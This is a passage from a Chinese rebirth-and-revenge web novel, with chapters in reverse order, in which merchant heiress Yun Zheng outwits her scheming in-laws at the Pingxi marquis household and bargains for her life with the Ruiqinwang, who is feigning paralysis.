别提有多后悔了,为什么要来皇觉寺?为什么要半夜留宿?为什么要半夜不睡觉? 为什么要撞见别人的秘密? “我来烧香,祈求佛祖佑我们全家平平安安,无灾无难。” 身后传来一声嗤笑,“你这种天不怕地不怕的人,还信这个?” “那个……” 云筝脑子转的飞快,老天爷,救救她吧,她不想被灭口。 男人冷笑一声,“你若死了,你那一半的嫁妆就归我。” 不是别人,正是睿亲王,九千岁,厉无恙。 云筝闭了闭眼,被逼到绝路,反而激起了孤勇,豁出去了。 她猛的回头,视线落在男人完好的双腿上,丫的,说好的瘫子呢? 世人皆知,睿亲王前几年意外受伤瘫痪了,皇上痛心疾首,还加封了九千岁安抚他。 可她看到了什么?他大半夜的在皇觉寺翻墙!健步如飞! 要命了!这是欺君大罪! 他为什么装瘫子,她不想知道,肯定不是什么好事。 但,为什么这么不小心被她撞见? “我不求佛祖,求您,行吗?殿下,我很有用的。” 既然她撞见了九千岁最大的秘密,那,还能活吗? 想活,那只有让对方看到你的价值,舍不得杀她! 厉无恙看着眼前的女子,明明很害怕,却强撑着,为自己争取一条活路。 不知怎么的,他想到了自己,神色稍缓。“你怎么一眼就认出了我?” 云筝脑子转的飞快,“我,过目不忘,读过一遍的书时隔多年也不会忘。更何况,您龙章凤姿,仪表出众,鹤立鸡群,让人印象深刻。” 厉无恙挑了挑眉,过目不忘吗?真巧,他也是! “说说,你一个女子,能有什么用?” 云筝咬了咬嘴唇,说出云家最大的秘密,“我能点石成金,是理财高手,这三年来,云家的生意在我手里翻了几番。” 用秘密换秘密,用利益做交换,总行吧? “我可以帮您挣钱,挣很多很多的钱,让你一辈子都花不完。” 就算贵为帝王,也拒绝不了金钱的诱惑,谁会嫌钱多呢? 更何况,如今国库正空虚,皇帝的私库也空,精穷呢。 厉无恙有些意外,“你才是云家真正的主事人?” 云筝从怀里掏出一个印章,送到他面前,“这是云家家主印章。” 她毫不犹豫的双膝下跪,神色庄重而又严肃,“云家继承人,云筝,拜见主子。” 够忍,够狠决,够果断! 审时度势,权衡利弊,选择对自己最有利的决策,她,颇有几分枭雄之姿。 厉无恙黑眸闪过一丝晦暗不明…… 第17章 示警 云筝重生后,一直很冷静,冷静的撕逼,冷静的对战,冷静的试探。 但看到父母的那一刻,委屈如潮水般涌上心头,她的眼眶红了。 她双膝跪地,两行泪水滚落下来,“爹,娘,不孝女回来了。” 她整整十年没见过父母了,真的好想他们。 云氏夫妻的心都碎了,这是他们的掌上明珠,从出生起就捧在手掌心呵护的宝贝,她是个活泼开朗的小姑娘,爱笑爱闹,从未见她这么哭过。 云母心如刀绞,一把抱住女儿,母女俩抱头痛哭。 云父在一边看着,眼眶也湿润了,男儿有泪不轻弹,只是未到伤心时。 这是他的独女,含在嘴里怕化了,捧在手里怕摔了,居然受了这么大的委屈,可他什么都做不了。 “别哭了,当心身体。” 云筝哭了一场,心中的郁气全消,整个人舒服了很多。 丫环送上水盆和巾帕,云母亲自动手,替女儿擦脸,云父拿来滚烫的鸡蛋帮女儿捂眼睛。 感受到父母浓浓的爱,云筝的心一下子平复下来,暗暗发誓,不管如何,都要护住父母,不再让前世的悲剧再发生。 “爹,我没吃亏,侯府没占到什么便宜。” 云父看着女儿微肿的眼睛,心疼坏了,“筝儿,到底发生了什么事?” 侯府那边封口了,但,还是有消息传出,等他知道时已经是深夜,宵禁不能乱跑,他们夫妻担心的一晚上没睡。 云筝没有隐瞒,这个时候不能报喜不报忧,要让父母知道真相,才不会被蒙骗。 云母听完后,气的浑身发抖,“可恶,平西侯府这是故意骗婚,实在欺人太甚。” 成亲当日兼祧两房,他们怎么做的出来? 云父脸色铁青,“岂止是骗婚,是想吃绝户。” 如一盆冷水浇下来,云母的心透心凉,“侯府势大,我们只是一介商贾,哪是他们的对手?怎么才能保护筝儿?” 侯门深似海,权势滔天,女儿一个人哪是他们的对手? 云父心乱如麻,民不与官斗,斗不过啊。 他看向女儿,心口一痛,一夜之间她被迫成熟了,气质都不一样了。 只有经历了巨变和磨难,人才会飞快的成长。 “筝儿,你有什么想法?” 云筝深深的看了他一眼,“爹,我打算重新出山,将云家发扬光大,让云家成为人人觊觎的宝物,到时,我们争取当皇商……” 金钱在权力面前一文不值,一个知县就能毁掉一个大家族。 稚子抱金于闹市,没有权力做支撑,巨大的财富只会引来豺狼。 这话一出,云家夫妻神色错愕,这是要投靠皇家? 云展鹏看着心爱的女儿,心情很复杂,这怎么就不是男儿呢?“筝儿,火中取栗,这很危险。” 云筝被困在后院的十年,无数次的复盘,无数次的想逃出去,从未屈服过。 “我知道,但,侯府要的不仅仅是财,还有我们云家人的命。” 云家夫妻脸色大变,“你说什么?” 云筝知道父母对侯府有一种本能的畏惧,士农工商,商排在最后,地位相差悬殊。 “父亲,我昨晚做了一个恶梦,梦里……” 她没说是前世,而是假借梦境将前世的遭遇说了一遍。 开始时,夫妻俩没有太当真,但随着女儿身临其境的描述,被带入进去,神色渐渐紧张起来。 听到女儿被压榨,被灌毒药,被扔去乱坟岗,云母再也受不了,整个人崩溃了。 云展鹏的心往下沉,“那我们呢?怎么没替你出头?” 在女儿的梦境里,他们夫妻都没有出现,这不合常理。 云筝眼中闪过一丝痛楚,“一个月后,父亲出门做生意,路上遇马贼,尸骨无存。母亲闻讯后悲痛欲绝,悬梁自尽跟着去了。” 这是她心头一大恨事,一定要阻止悲剧的发生。 云展鹏捂着胸口,有些喘不过气来,这是老天借着女儿的梦境,向他们示警吗?“是谁干的?” 云筝定定的看着他,“官府查案的结论是,白云山的马贼干的,事后,平西侯府作为姻亲,接手了我们云家所有家业,包括……” 她顿了顿,语气很复杂,“在江南老家的两万亩祭田。” 所以,不要再心生妄想,两家注定不死不休。 云父如五雷轰顶,祭田,是用于祭祀祖先的土地,是一个家族的根基,也是唯一的退路。 就算是抄家了,祭田也不会被查抄没收。 平西侯府却接收了,云氏一族都没了? 按理说,谁获利最大,谁就是幕后黑手,那么…… 他的心瞬间沉入谷底,如被海水淹没,手心紧握成拳。 良久之后,他从怀里拿出一枚黄玉印章,递给女儿,“筝儿,你早就青出蓝而胜于蓝,为父相信你的判断,就照你的意思办吧,我们全力支持你。” 这是家主印章,凭此物可以号令云家名下所有商号,还能前往各大钱庄支取银子。 他是聪明人,梦境是真是假不重要,女儿跟侯府已经走到这一步,不可能善了,那只能拼死一搏。 印章入手,云筝只觉得沉甸甸的,责任太重了。 世人皆知云展鹏是大齐首富,却不知,云筝才是将云家推到巅峰的幕后操盘人。 云筝从小就展现了惊人的经商天赋,缠着父亲要学,云展鹏拗不过爱女,跟她约法三章后,将女扮男装的女儿带在身边手把手的教导。 云筝三岁就能打一手好算盘,八岁就挣到了第一桶金,十岁就能独立操盘,十三岁已经在幕后操控云家的产业,财富翻了几番。 在她接手之前,云家是江南首富,在她接手后,短短三年就让云家一跃而起,成了全国首富。 这样的能力让云父欢喜的同时,也深深的遗憾,为什么是个女儿? “我好后悔,当初不该被侯府的权势迷住了眼,答应了侯府的提亲,应该坚持招赘的。” 云筝轻轻叹了一口气,“我们家早就被盯上了,不答应也得答应,在滔天的权势面前,我们什么都不是。” 父女相视一眼,眼中俱充满了不甘和野心。 想活下去,好好的活着,活的比谁都要风光! 云筝陪父母吃了一顿午膳,商量了具体事项,各自忙活开来。 离开云家时,云筝身边多了十名精壮家丁,这是云家花大价钱招揽来的江湖人,专门看家护院,保护云父出门做生意。 “程师傅,去皇觉寺。” 一头银发的程师傅是云筝的武师傅,看着她长大的,本以为她出嫁后就能荣退,不曾想,还得护她一程。 “皇觉寺在西山,走一趟要好几个时辰,晚上可能赶不回来,您确定吗?” 云筝神色不明,“我们要在皇觉寺住一晚。” 程师傅有些担心,轻声劝道,“大小姐,您成亲了,在外面过夜不好吧,平西侯府恐怕会不高兴。” “没事,我自有办法。” 云筝必须走一趟,那里有一个大机缘,她要赶去截胡! 第16章 您,没大病吧? 云筝站着不动,也没有伸手接令牌。 侯夫人蹙眉,有些不悦,“赶紧拿去啊。” 云筝一脸的茫然,“咦?这干吗呀?” 侯夫人见她装傻,火气又冒了上来,“当然是管家。” 云筝奇怪的反问,“我什么时候答应过管家?” 是,她没答应,只是询问,全是他们在自说自话,给她安排的明明白白。 可,云筝根本没打算照着他们安排的剧本走。 侯府诸人的笑脸僵住,她不肯接手?那可怎么办? 侯夫人脸色沉了下来,“你是侯府的媳妇,应该为侯府分忧。” 云筝可不怕她的冷脸,“能者多劳,长嫂来吧,我啊,就喜欢混吃等死。” 笑死了,连下人月钱都发不出来的侯府,有什么好贪图的? “季嬷嬷,宫中何时来人?” 季嬷嬷躬身道,“三日之后。” 云筝笑盈盈的开口,“那在之前把嫁妆理出来,该折成银子的,得提前处理好,侯爷,我要先回家一趟,这些事情要跟我父母通个气,请他们配合一下,我没办法一个人完成。” 嫁妆五花八门,什么都有,银子反而不多。而,朝廷只想要银子。 侯府的心在滴血,那都是他们的银子! 侯夫人心情糟糕透了,“你是新妇,三日后才能回门,不过,你若是接手中馈,随时能出门。” 这是故意为难云筝,云筝呵呵一笑,“您,没大病吧?” 侯夫人很生气,“你咒我!” 云筝睁着一双无辜的眼睛,“那,是府上有问题?难道是穷的揭不开锅了,需要我拿嫁妆填窟窿?” 大家闻声色变,自古以来,女人的嫁妆只会传给自己的儿女,夫家要是用了,会被瞧不起的。 他们堂堂侯府,怎么可能主动要银子,当然,如果云筝主动献上,非哭着给他们花,外人就挑不出理。 江闻舟仰着脑袋,一副高高在上的骄傲模样,“怎么可能?我们是百年侯府,几代人积累下来的财富富可敌国,不差钱。” 平西侯神色严肃,“我们这种勋贵人家,怎么可能用媳妇的嫁妆?你多心了。” 在世人眼里, 平西侯府光鲜亮丽,出门奴婢环绕,好不威风,主子们吃最好的,用最好的,生活糜烂奢华,端的是一派富贵。 但,这些只能骗骗外人,云筝最清楚他们的底细。 江家人都是会花钱的,没有一个会经营敛财的,上一代还出了败家子,出入青楼酒馆,一掷千金,花钱如流水,早就把祖产糟蹋光了。 如今,为了维持体面生活,早就入不敷出。 云筝微微一笑,“侯爷大气,我本来还想着一家人,钱财方面能帮则帮,现在看来,是我想多了,放心,我绝对不会用银子来玷污各位的高贵情操。” 众人脸色青了白,白了绿,早说嘛,感觉错过了一百万两银子,心痛! 江明月急的不行,“其实……”她很乐意被银子砸的! 不等她说完,云筝打断道,“时间不早了,别耽误了朝廷大事,到时交不上银子,被怀疑侯府舍不得银子,才故意阻扰,那就太冤枉了。” 这话一出,倒不好阻止她出门了。 平西侯心里一动,给儿子使了个眼色,,“闻舟,你送筝儿回娘家一趟,对岳父母要恭恭敬敬的。” 送人是假,盯梢是真。 “夫人,为亲家准备一份厚礼,给足筝儿体面。” 刚才还剑拔弩张的云筝立马笑了,“那太好了,多谢侯爷,侯爷英明,不愧是皇上最宠爱的臣子。” 之前有多凶残,这会儿就有多甜。 江闻舟越发瞧不上她,商贾出身就是趋炎附势,见利忘义,全然没有表妹的出尘清高。 叶宜蓁的脸色变了几变,凭什么让云筝占了先?纵然她没有娘家可回,但心里就是不舒服。 她没有的,云筝也不能有! 可,在平西侯威严的目光下,她愣是不敢说什么,只能可怜巴巴的目送他们出门。 平西侯看着云筝远去的身影,面色一寸寸的阴沉下来。 这个儿媳妇看似鲁莽不通人情,其实,极为聪慧。 当进则进,当退则退,能屈能伸,变脸如翻书。 她比他想象中还要难对付,还要有城府。 侯夫人见状,小心翼翼的开口,“夫君,她软硬不吃,怎么办?” 这一圈试探下来,结果让她很失望。 平西侯面如沉水,“这个时候很多人盯着,我们在这风口浪尖忍一忍,等风头过了,世人淡忘了,再来处理她。” 他有所顾忌,尤其是九千岁那个人,行事狠辣,不讲情面。 侯夫人迟疑了一下,“那宫中和九千岁?” 平西侯很心疼要分出去的一半,但,好歹还有一半,也够他们全家吃上一辈子。 只要云筝活着,九千岁就没有理由来争产。 到时,再给云筝过继一个孩子,嫁妆自然就落到孩子头上。 “贵人日理万机,哪有多余的精力关注一个微不足道的小人物,过不了多久就会将她抛到脑后,那时,就是我们的机会。” 侯夫人觉得很有道理,心中快意了几分,“可,需要等多久?” “一年半载,够了,成大事者不拘小节,先让她嚣张几天。” 另一边,云筝坐上马车,帘子落下,她的表情变了,嘴角轻轻扬起。 前世她被困在后院,终其一生都无法离开侯府,如今终于走出一步,真好。 其实,刚才侯府用各种方式试探她,同样的,她也在试探他们的底线。 如今的她没有对抗侯府的实力,只能借力打力,但终究不是长久之计。 那就,时间换空间,就看谁的动作更快,手段更高明。 俗话说:东贵西富,南贫北寒,权贵基本集中在东城,而富人住在西城,云家也在西城。 这一路经过闹市区,云筝撩起帘子看向外面,叫卖声,嘈杂声,孩子的欢笑声交织在一起,热闹非凡。 这才是人间烟火气。 她的视线落在不远处骑马的年轻男人身上,眼神微闪。 “世子,你亲自送我回去,我父母一定很高兴,脸上有光,到时也让邻居们看看侯门世子的风采 。” 江闻舟本就不情不愿,一听这话心里更不舒服,“想让我帮你做脸面,做梦。” 云筝冷笑一声,“讨厌我又如何?不想娶我又如何?照样得乖乖送我回娘家,让你干嘛就干嘛,你啊,不过是你父亲手中的牵线木偶,骄傲什么呀。” 江闻舟最听不得这话,气不打一处来,狠狠瞪了她一眼,“你自己回去。” 他一抽鞭子,策马飞驰离开。 云筝吁了一口气,碍手碍眼的家伙总算被气走了,接下来,她可以暗搓搓搞事情了…… 第15章 她,无差别的扫射,好凶残 云筝永远不会忘记,前世,平西侯府一直强压着她,她的名字没上祖谱。 临死前,江闻舟搂着叶宜蓁,“浑身铜臭的商贾之女也也配上我侯府祖谱?” 那种居高临下的傲慢让人作呕。 她不稀罕上侯府的祖谱,但,那一份强烈的耻辱和愤怒让她铭记于心。 这些人嫌云家浑身铜臭,却花着云家的钱,怎么不嫌钱脏? 端起碗吃肉,放下筷子骂娘,一群吃人不吐骨头的狗东西。 “不上就不上,你们侯府千万别求着我上,我会看不起你们的。” 这话说的太气人了,侯夫人恨的咬牙切齿,“你做梦。” 平西侯发现,场面又失控了,赶紧拉回来,“行了,祠堂择吉日再开,到时一起上祖谱。” “闻舟,你一个大男人破了点皮,鬼哭狼嚎的,丢不丢人?” 江闻舟气的吐血,这是亲爹吗? 认亲时,云筝送的礼物让所有人大失所望,男的清一色是文房四宝,女的清一色是帕子,材质普通,都不值钱。 就连平西侯夫妻也是如此,至于江闻舟,什么都没有。 出嫁的姑奶奶不乐意了,她还指望从首富之女手里捞一笔呢。 “你就送这?你可是堂堂首富之女,出手这么寒酸,不怕丢了云家的脸吗?” 云筝前世准备了昂贵的礼物,但,她落难时,没有一个人伸出援手,没有帮她说过一句话。 她一本正经的胡说八道,“我本来准备了丰厚的礼物,不过,季嬷嬷说,身为弟媳,不好越过长嫂,这是约定俗成的规矩。” 全场一静,齐刷刷的看向叶宜蓁,叶宜蓁是个穷鬼,寄住在侯府,衣食起居都是侯府包了,几台嫁妆还是江闻舟掏自己的私房,帮着置办的,就图个好看。 就是说,她今日送的礼物都是江闻舟出的。 叶宜蓁满面通红,恨不得找个地洞钻进去,心里恨的不行。 为什么要拉她出来?为什么要踩她? 云筝微微一笑,“这不,嫂子送什么,我就跟着送什么,绝不越线。” 她还故意问道,“侯爷,我做的对吗?” 平西侯气的胸口疼,好刁钻的丫头,他咬了咬牙,挤出一丝微笑,“对,做的很好。” 云筝发现,前世高不可攀的平西侯也有弱点,只要拿捏住了,一切都好说。 一道甜甜的声音响起,“二嫂,我想要千珍阁的那套龙凤呈祥翡翠头面,你拿来送我当及笄礼物。” 这是江闻月,平西侯夫妻所出的唯一嫡女,长的天真可爱,但,只有云筝知道,她有多贪婪。 一张口就要价值万金的镇店之宝,脸皮真厚,前世就是如此,想要什么说一声,逼着你双手奉上。 可这么一个玩意,靠着抢来的云家家产,嫁进了皇子府,尽享荣华富贵。 云筝淡淡瞥了她一眼,这衣服款式是去年的,首饰也是翻新的,可见平西侯府是真的穷了。 “不行哦,那是我家的镇店之宝,概不出售。你实在喜欢,让你娘照着花样子打一套呗,侯府又不差钱。” “堂堂侯府千金,张口就跟人要上万的东西,不合适,没规矩,传出去不好听,不是我不给,而是为了你好,你能理解吧。” 好个鬼!家里什么情况,江明月比谁都清楚,她的嫁妆还没有着落呢。 江明月的脸拉了下来,这跟父母说的不一样,明明说好了,等云筝进门,她的嫁妆让自己先挑。 她张了张嘴想骂,却在看到季嬷嬷后,硬是将话咽了回去。 她还指着高嫁,万万不能得罪宫中的人。 反正,她想要什么,自然会有人送到她手里,急什么呢。 江闻云是侯夫人所出的幼子,娇生惯养,上了几年学堂,最喜欢附庸风雅。 “二嫂,宝翠斋那几张画圣张大家的画,不知能否借我鉴赏几日?” 他看着光华霁月,其实很败家,喜欢孤本,名家的书画,这些都很烧钱。 前世,侯府抢了她的嫁妆分赃,他抢到了很多孤本名画,靠着这些结交上几名大家,被带飞,尚了公主,成了富贵闲人。 千珍阁,宝翠斋都是云家的产业,云筝不假思索的拒绝,“不能哦,若有所损毁,让你赔吧,我不好意思,不让你赔吧,我心里过不去,忍不住出去说道几句,到时你的名声坏了,怪谁呢?” 江闻云眉头一皱,有些嫌弃,“我们是一家人,谈钱多庸俗。” 云筝不客气的反问,“不谈钱,谈感情吗?我们有吗?你一个小叔子跟我谈感情,疯了吗?你……不会有什么变态的癖好吧?比如,喜欢搞叔嫂乱伦?” “长嫂,你柔柔弱弱的像小白兔,男人最好这一口,千万要小心啊,说不定已经被变态小叔子盯上了。” 她杀疯了,来一个杀一个,来两个杀一双,无差别的扫射。 侯府众人:…… 叶宜蓁脸色一变,下意识的朝后退了几步。 江闻云见状,脸都绿了,惹不起,惹不起。 平西侯夫妻相视一眼,眼神凝重。 平西侯清咳一声,岔开话题,“宜蓁,阿筝,你们进了侯府的门,就该挑起侯府的责任,你们婆母身体向来不好,这次操办婚事又累着了,需要静养,以后家中之事你们帮着分担一下。” 叶宜蓁温婉的应了,“是,父亲放心。” 侯夫人的眼神闪闪烁烁,“云筝,我本想让你主持中馈,但,你说要跟长嫂学,凡事不能越过她,那,管家大权就交给你嫂子。你没意见吧?” 主持中馈不光是权利,还是一种体面,谁不想要? 云筝是个争强好胜的,一定会争抢管家大权,到时,就掉进他们精心安排的陷阱。 激将比请将更高明! 她自信满满,但没想到,云筝早知侯府只是表面光鲜,内里穷疯了,管家大权就是一个大坑。 “没有。” 侯府众人僵住了,不敢置信,她不接招?那怎么行? 叶宜蓁眼珠一转,笑吟吟的开口,“弟妹,以后若有怠慢之处,还请多多包涵。” 云筝知道太多的事,早就看穿他们的算计,“好说,反正,怠慢我,我会闹的!” 众人沉默了。 叶宜蓁笑的更加温柔,“要不,你跟我一起主持中馈,我们妯娌同心同德,将侯府打理的蒸蒸日上,也让世人看看我们的本事。“ 云筝挑了挑眉,“怎么一起主持?” 叶宜蓁温温柔柔的,像个贤淑的主母,“我对京中各府的人脉关系了如指掌,就由我负责对外交际和人情往来,而你,就负责管好侯府内务,你哪里不会,我会尽全力教导你。” 对外交际,她可以刷好感,借机坐稳主母之位。 对内,管好这个家,可不容易,侯府将近上千人,光是这些人的开销就够呛。 大家纷纷赞道,“宜蓁有大嫂风范,这个儿媳妇是娶对了。” “蓁儿,你真是太善良太宽厚,能娶你进门,是江家的福气。” 侯夫人笑着拍板,“就这么决定了,宜蓁主外,云筝主内,你们要齐心协力,让侯府无后顾之忧。” “这是令牌,云筝,你拿去,从今日起,家里的吃喝拉撒都归你管了。” 大家脸上都挂着笑,已经憧憬云筝这个冤大头接下烂摊子,将嫁妆填进去,他们就能吃香喝辣,锦衣玉食了 。 但,他们会如愿吗? 第14章 云筝不讲武德,咔咔的干 季嬷嬷身在深宫,什么样的人没有见过。 “虽然拜了堂,但,没有认亲,没有去祠堂祭拜,也没有上祖谱,这流程还没有走完,云大小姐还不算真正的侯府少夫人。” “侯夫人一开口就让人跪祠堂,于礼不合,于情不符,知道的还以为你是猪油蒙了心,老糊涂了,不知道的以为你蓄意打击报复,心胸狭窄。” 侯夫人的脸色铁青,张了张嘴,却说不出反驳的话。 季嬷嬷没有说错,合情合理,都是礼法规矩,在哪里都挑不出刺。 平西侯见状,无声的叹了一口气,云筝一个晚上就将宫中老嬷嬷收为己用,好生厉害。 眼见动用武力不行,那只是徐徐图之,一步步的试探对方的底线。 是人,都有弱点。 “行了,先认亲。” 侯夫人眼珠一转,有了新主意,“按照规矩,蓁儿是长房长媳,你先来。” 叶宜蓁心中暗喜,面上温婉大方,“是。” 两人并肩站在平西侯夫妻面前,一个温婉,一个英俊,很是般配,但平西侯心里说不出是什么滋味,愁的不行。 他昨晚没睡,思前想后,只想在不得罪宫中和九千岁的前提下,将云筝牢牢拿捏住,让她无私的为平西侯府做贡献。 但,有叶宜蓁在,这个难度太大。 江闻舟站着行礼,而叶宜蓁扑通一声跪倒在平西侯夫妻面前,双手奉茶。“请爹娘喝茶。” 平西侯拿起茶杯喝了一口,没有刁难,给了一个红包。 而侯夫人喝了茶,还笑吟吟的送出一块上好的玉佩。 “这是我们侯府的传家宝,只送给长媳,你好生收着,多给我们生几个可爱的孙子。” 她抬举叶宜蓁,只为了打压云筝,云筝太骄傲,不把她的骨头一根根打碎,就不可能温顺的为平西侯付出。 她才不管长房二房,都兼祧了,还怕别人议论吗? 叶宜蓁眉眼低垂,心中却得意的不行,只要她生下长孙,平西侯府就是她的,“是,母亲。” 她还奉上亲手做的鞋袜,平西侯夫妻赞不绝口,夸她贤惠能干。 江闻舟收到一个鸳鸯戏水的香囊,喜不自胜。 “这图案精美繁复,还是双面绣,你一定花了很多心血吧,我很喜欢。” 叶宜蓁眉眼含情,羞答答的道,“我绣了好几晚,只要你喜欢,一切都是值得的。” 其他宗亲都没有为难她,或多或少都送了礼物,叶宜蓁也回了礼,年纪长的是文房四宝,年纪轻的是一支毫笔,女眷一律是帕子。 现场一片和乐融融,大家不约而同的猛夸叶宜蓁,故意冷落云筝,当她不存在。 平西侯见火候差不多了,这才开口说道,“接下来轮到二房媳妇,云氏,你……” 他一扭头,就见云筝搬着一个椅子坐在角落,喝着香茶,笑眯眯的看戏,别提有多自在了。 难堪?不存在的。 众人如一拳重重打在棉花上,心里说不出是什么滋味。 侯夫人横挑眉头竖挑眉的,“云氏,该你敬茶了。” 云筝慢悠悠的站起来,慢悠悠的走到平西侯夫妻面前,就站在叶宜蓁的身边。 叶宜蓁是清丽婉约的长相,气质柔弱,穿素色的衣服衬的飘飘欲仙,但,这会儿暗红的衣裳不是很适合她。 而,云筝五官明艳大气,一袭红衣胜火,将叶宜蓁衬的黯淡无光,像是陪衬。 叶宜蓁的脸色微变,不动声色的挪动位置,站到江闻舟的另一边。 云筝嘴角轻轻扬起,慢悠悠的伸手,从容又淡然。“茶。” 季嬷嬷托着茶盘走过来,云筝拿起茶杯递过去,“侯爷,喝茶。” 她居然不跪! 侯夫人大声喝道,“跪下。” 云筝才不想给这对恶心的老东西下跪,其实,奉茶都不想,但帝后和满朝文武都盯着呢,得占住舆论高地,不能让人拿住把柄。 毕竟,她的背后还有云家。 “侯爷恕罪,你们侯府太过苛刻,不给我吃早膳,我肚的前胸贴后背,眼前一阵阵发黑,没法跪。” 侯夫人勃然大怒,“少吃一顿不会死的,给我跪。” 云筝也不争,作势要跪,但身体晃了晃,慢悠悠的倒下。 一边的春华猛扑过来,一把扶住她,嚎了一嗓子,“不好了,侯府杀人了。” 春华愤怒的红了眼,“我家小姐若有个三长两短,我就去告御状,告平西侯府逼死儿媳,草菅人命。” 现场一静,鸦雀无声,云氏女不讲武德啊。 江闻舟气的吐血,“胡闹,荒唐至极。” 侯夫人很生气,“季嬷嬷,你都看到了吧?是云氏胡搅蛮缠,耍无赖,还请在帝后面前实话实说。” 季嬷嬷神色严肃,一本正经的点头,“嗯,我亲眼看到,你们平西侯觊觎儿媳嫁妆,以强凌弱,以大欺小。” 众人不敢置信的瞪大眼睛,你在说什么鬼话? 江闻舟年轻气盛,受不了这委屈,“你瞎了啊,分明是她……” 季嬷嬷眼神冷了几分,“世子,本以为你是个好的,没想到你不修口德,没有气度,欺负一个弱女子,是世人瞎了眼。” 这一回击看似轻飘飘,但杀伤力极大。 弱女子?江闻舟气笑了。 侯夫人的心堵的慌,“季嬷嬷,你被云氏收买了!你信不信,我这就是进宫跟皇后说道说道。” 原以为会让季嬷嬷心生惶恐,谁知,她全然不惧,“侯夫人,皇宫不是你想进就能进的,皇后睿智,不会偏听偏信,更不会成为你手中的刀。” 不愧是深宫出来的,说话水平就是高,不出一个脏字,但,直击要害。 刀?让皇后当侯夫人的刀?这话传出去,不知是谁要倒大霉。 平西侯见势不妙,赶紧站出来,“够了,都好好说话。” “云筝,你身体不好就不用跪来跪去,把茶端来,我喝。” 云筝这才慢悠悠的站直身体,拂了拂衣袖上不存在的灰尘,气定神闲的让人牙痒痒。 她是懂怎么气人的。 平西侯痛快的接过茶杯喝了一口,也给了一个红包。 但,轮到侯夫人时,云筝将递过去,侯夫人眼神一闪,作势接过茶杯,手微动,似乎没接稳,热茶倒向云筝的脸。 叶宜蓁兴奋的两眼放光,好,太好了,毁了她那张过分漂亮的脸蛋! 眼见,云筝的花容月貌就要毁了,她早有准备,用力一拉,将江闻舟拉到面前。 “啊。”江闻舟发出一声凄厉的惨叫,泼了一身的热水,俊脸还溅到了几滴,疼! 怎么受伤的又是他?! 云筝嘴角微微上扬,娘作孽,儿子受罪,没毛病。 第二回合,云筝vs平西侯府,完胜! 一道怒吼猛的响起,“云筝,你还想不想上我们江家的祖谱了?!” 是侯夫人,她气疯了,两眼赤红,像是要吃人的老虎。 祖谱?云筝脸色大变,心底涌起一股戾气…… 第13章 从今日起,我的话就是规矩! 一缕晨光照进来,照在窗边对镜理云鬓的女子身上,衬的她眉眼如画。 五只梳妆盒齐刷刷的打开,流光溢彩,让人眼前一亮。 每只梳妆盒有五层,各色首饰分门别类,俱是精美无比,但,这只是嫁妆珠宝的一小部分。 云筝挑了一套赤金环珠九转玲珑首饰,金灿灿的,华贵而又耀眼,跟她明艳大气的容颜相得益彰。 春华看直了眼,“小姐,您真的很适合这种打扮。” 以往,小姐穿素淡的衣服,十分的容颜愣是减了三分。 如今,一袭红衣,浑身珠光宝气,雍容华贵,气势不凡,容颜更盛。 云筝嘴角轻扬,瞥了春华一眼,“昨晚没睡好?” 春华的黑眼圈很明显,“我有点担心,今日认亲恐怕会有麻烦。” 岂止是有点,她担心的一晚上没睡好。 她们把侯府上下都得罪了,以后可怎么办呢? 云筝以为自己会睡不着,但出乎意料,她睡的特别好,一觉睡到天亮。 “兵来将挡,水来土掩,怕什么?” 外面传来动静,是侯夫人派来的丫鬟眉儿。 眉儿一看就是个能干的,但说话小心翼翼,“少夫人,宗亲们都来了,都在等您,夫人请您马上过去。” 这位是连侯爷都敢怼的厉害人物,她怕! 云筝神色淡淡的,“知道了。” “对了,大厨房怎么不送早膳?我们上上下下都饿着肚子等呢。” 眉儿的表情一顿,“估计厨房太忙,疏忽了,您先过去请安吧,大家都在等您。” 云筝抚着额头,有气无力的样子,“我一饿就头晕眼花,走不动路。” 两人都心知肚明,侯府故意卡春晓院,不给他们吃喝,还让云筝饿着肚子去认亲。 这所谓的认亲宴,恐怕是鸿门宴。 眉儿心里转了几转,“要不,您先用些点心垫垫肚子?” 下人端着金丝燕窝粥和一盘白露绿蜜糕上来。 云筝拿起白露绿蜜糕咬了一口,微微蹙眉,“怎么跟以往的不一样?” 负责厨房的丁婶小心翼翼的禀道,“大小姐,我们食材不够,院中也没有锅灶,临时用小红炉做的点心。” 云筝略一沉吟,“在前院搭一间厨房,需要什么列个清单出来,让二牛去采购。” 有一间厨房,吃喝用度都方便很多,用热水也方便。 “是。” 眉儿急了,“少夫人,这万万不可,我们侯府没有这样的规矩,就算是夫人的正院也没有开小厨房,您身为媳妇,断没有越过婆婆的道理。” 云筝可不想让别人掐住自己的脖子,“规矩是用来打破的,从今日起,我的话就是规矩!” 眉儿的脸绿了,这少夫人好嚣张。 “少夫人……” 云筝喝了一口金丝燕窝粥,“食不言寝不语,这规矩懂吗?” 眉儿闭嘴了,就这么眼睁睁的看着云筝慢吞吞的喝燕窝粥,一喝就是半个时辰。 不管她怎么催,云筝只当耳边风,只按自己的节奏走。 天色越来越亮,眉儿快急哭了。 “少夫人,求您可怜可怜奴婢吧。” 云筝这才慢吞吞的站起来,“行了,走吧。” 看着她的背影,眉儿有种不好的预感,这又将是刺激的一天。 平西侯府的宗亲都来了,将正堂挤的满满当当,喧哗无比。 大家等啊等,等了半天,都不见云筝的身影,火气越来越大。 “大哥,你儿媳妇的架子真大,所有人只等她一个。” “嫂子,你今日一定要给她上规矩,让她老老实实的当侯府的儿媳妇。” 平西侯夫妻面色不好看,心中恼怒至极,这云筝装都懒的装,是要跟侯府干到底? “世子,幸好,你娶了两房妻室,云氏女太嚣张,但,叶氏女是个好的。” 江闻舟昨晚被恶心的吐了,漱洗了好几遍,睡的不好,这会儿情绪不高,只是笑了笑。 叶宜蓁站在江闻舟身边,笑颜如花,“谢姑婆夸奖,我以后会努力当一个好儿媳,也会好好管教弟妹的。” 两人都穿着暗红色的衣裳,是同色系的,一看就是一对,郎才女貌,很是养眼。 宗亲们对乖巧甜美的叶宜蓁印象很不错,“瞧瞧,这才是合格的侯府媳妇,云氏女不配,也不够格。” 就在此时,外面一阵骚动,“来了,来了。” 大家齐刷刷的看向门口,俱打定主意要为难云筝,给她一个下马威。 一群人簇拥着一个红衣女子出现在门口,众人眼前一亮。 红衣胜火,肤若凝脂,轻盈绰约,明艳大气,仿若盛开的牡丹花。 江闻舟一阵恍惚,虽然很讨厌她,但不得不承认,她是个难得的美人儿。 叶宜蓁见状,眼中闪过一丝浓浓的嫉妒,穿的这么招摇,浑身珠光宝气,生怕别人不知道她是暴发户吗? 